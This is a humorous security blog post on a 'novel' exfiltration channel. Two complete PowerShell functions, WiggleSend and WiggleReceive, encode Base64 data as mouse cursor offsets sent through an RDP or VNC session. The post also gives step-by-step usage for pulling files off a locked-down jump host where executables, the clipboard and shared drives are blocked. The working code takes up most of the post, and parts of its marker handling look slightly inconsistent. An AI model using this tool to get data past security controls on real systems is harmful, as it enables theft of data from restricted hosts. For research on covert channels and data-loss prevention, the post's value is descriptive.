Data Exfiltration via Mouse Wiggles

Tue, May 4, 2021 4-minute read

A class of security research out there that is a never-ending source of entertainment is “novel” communication methods. This shows up in many ways in the security industry, including:

  • “Novel” C2 communication channels (DropBox, Telegram, DNS, Instagram comments, …)
  • “Novel” air gap jumping techniques (HDD lights, high-frequency audio, …)
  • “Novel” sideband communication techniques (Steganography, communication via processor cache latency)

Ultimately, computers are amazing at encoding data and communicating in various ways, and humans are amazing at inventing various ways. Put these together, and you get an infinite river of InfoSec articles! We can sustain a whole industry this way! Proof positive that perpetual motion machines are not only possible, but actually exist.

Another class of these are “Novel” data exfiltration methods.

In a Twitter exchange, @BigEndianSmalls was on an operation where he had access to a jump host, but no ability to run executables, no shared clipboard, no \\tsclient drive, no shared printers, or any of the other methods you might normally use to get data off of the system.

I think an optimal solution in that scenario would be to write a script to visually encode data (either as QR codes, or Base64 of content that you then screenshot + apply OCR), but what’s novel about that? How about Mouse Wiggles? :)

The following script encodes Base64 characters into X and Y mouse coordinates and moves the mouse to them. Since both the host system and client system sync their mouse positions, you can use this as a bi-directional communication mechanism. There are only really two subtleties that the script has to deal with:

  • How do you handle two of the same characters in a row? This script moves the mouse to the X position 1030.
  • How do you signal end of the data stream? This script moves the mouse to the position to the X position 1040.

Usage

  1. On the target system, paste (or use scripted SendKeys() to auto-type) the WiggleSend function.
  2. On the target system, encode a file into a Base64 string. Store it into a variable (i.e.: $data).
  3. On your client system, paste the WiggleReceive function.
  4. On the target system, maximize the RDP / VNC window, and prepare this command: WiggleSend $data (type, but don’t press Enter.)
  5. On the client system, run $output = WiggleReceive
  6. Quickly (within 10 seconds), go back to the target system. Ensure the window is maximized, and press Enter.
  7. Position your mouse near the top left of the screen, and leave it alone.
  8. Once the operation completes, go back to the client system. Your data is now in the $output variable, where you can Base64-decode it or whatever you need. If data gets corrupted during transfer, you may need to adjust the timing delay. You can use WiggleSend’s -TimingDelay parameter for that.

Performance

Not the greatest. It’s about 4 hours per megabyte. But it works, and is “novel”. Isn’t that all that matters? :)

Code

Here is the code for WiggleSend:

function WiggleSend
{
    param(
        [string] $InputObject,
        [int] $TimingDelay = 20
    )
    
    Add-Type -Assembly System.Windows.Forms

    Write-Host "Position the mouse near the top left hand side of the screen"
    Start-Sleep -Seconds 10
    $currentPosition = [Windows.Forms.Cursor]::Position

    $lastPositionSent = $null

    for($charPosition = 0;
        $charPosition -lt $InputObject.Length;
        $charPosition += 2)
    {
        $char = $InputObject[$charPosition]
        $charOffsetX = [int] $char

        if(($charPosition + 1) -lt ($InputObject.Length))
        {
            $char = $InputObject[$charPosition + 1]
            $charOffsetY = [int] $char
        }
        else
        {
            $charOffsetY = 1040    
        }
        
        $newPosition = New-Object Drawing.Point (
            $currentPosition.X + $charOffsetX),
            ($currentPosition.Y + $charOffsetY)
        if($newPosition -eq $lastPositionSent)
        {
            $newPosition.X = 1030
            $newPosition.Y = 1030
            $lastPositionSent = $null
        }
        else
        {
            $lastPositionSent = $newPosition
        }

        [Windows.Forms.Cursor]::Position = $newPosition
        Start-Sleep -m $TimingDelay
    }

    [Windows.Forms.Cursor]::Position = New-Object Drawing.Point (
        $currentPosition.X + 1040),($currentPosition.Y +  + 1040)
}

And WiggleReceive:

function WiggleReceive
{
    Add-Type -Assembly System.Windows.Forms

    Start-Sleep -Seconds 10
    $currentPosition = [Windows.Forms.Cursor]::Position

    $basePosition = $currentPosition
    $lastPosition = $currentPosition

    $sb = New-Object System.Text.StringBuilder
    $sw = New-Object System.Diagnostics.Stopwatch

    while($true)
    {
        $currentPosition = [Windows.Forms.Cursor]::Position
        if($currentPosition -ne $lastPosition)
        {
            if(-not $sw.IsRunning)
            {
                $sw.Start()
            }

            $charOffsetX = $currentPosition.X - $basePosition.X
            $charOffsetY = $currentPosition.Y - $basePosition.Y

            if($charOffsetX -eq 1030)
            {
                $charOffsetX = $lastPosition.X - $basePosition.X
                $charOffsetY = $lastPosition.Y - $basePosition.Y
            }

            if($charOffsetX -eq 1040)
            {
                $sw.Stop()
                $results = $sb.ToString()
                Write-Host "Received $($results.Length) characters in " +
                    "$($sw.Elapsed.TotalSeconds) seconds - (" +
                    $results.Length / $sw.Elapsed.TotalSeconds + ") bytes per second."
                return  $results               
            }

            $null = $sb.Append([char] $charOffsetX)

            if($charOffsetY -eq 1040)
            {
                $sw.Stop()
                $results = $sb.ToString()
                Write-Host "Received $($results.Length) characters in " +
                    "$($sw.Elapsed.TotalSeconds) seconds - (" +
                    $results.Length / $sw.Elapsed.TotalSeconds + ") bytes per second."
                return  $results               
            }

            $null = $sb.Append([char] $charOffsetY)
            
            $lastPosition = $currentPosition
        }
    }
}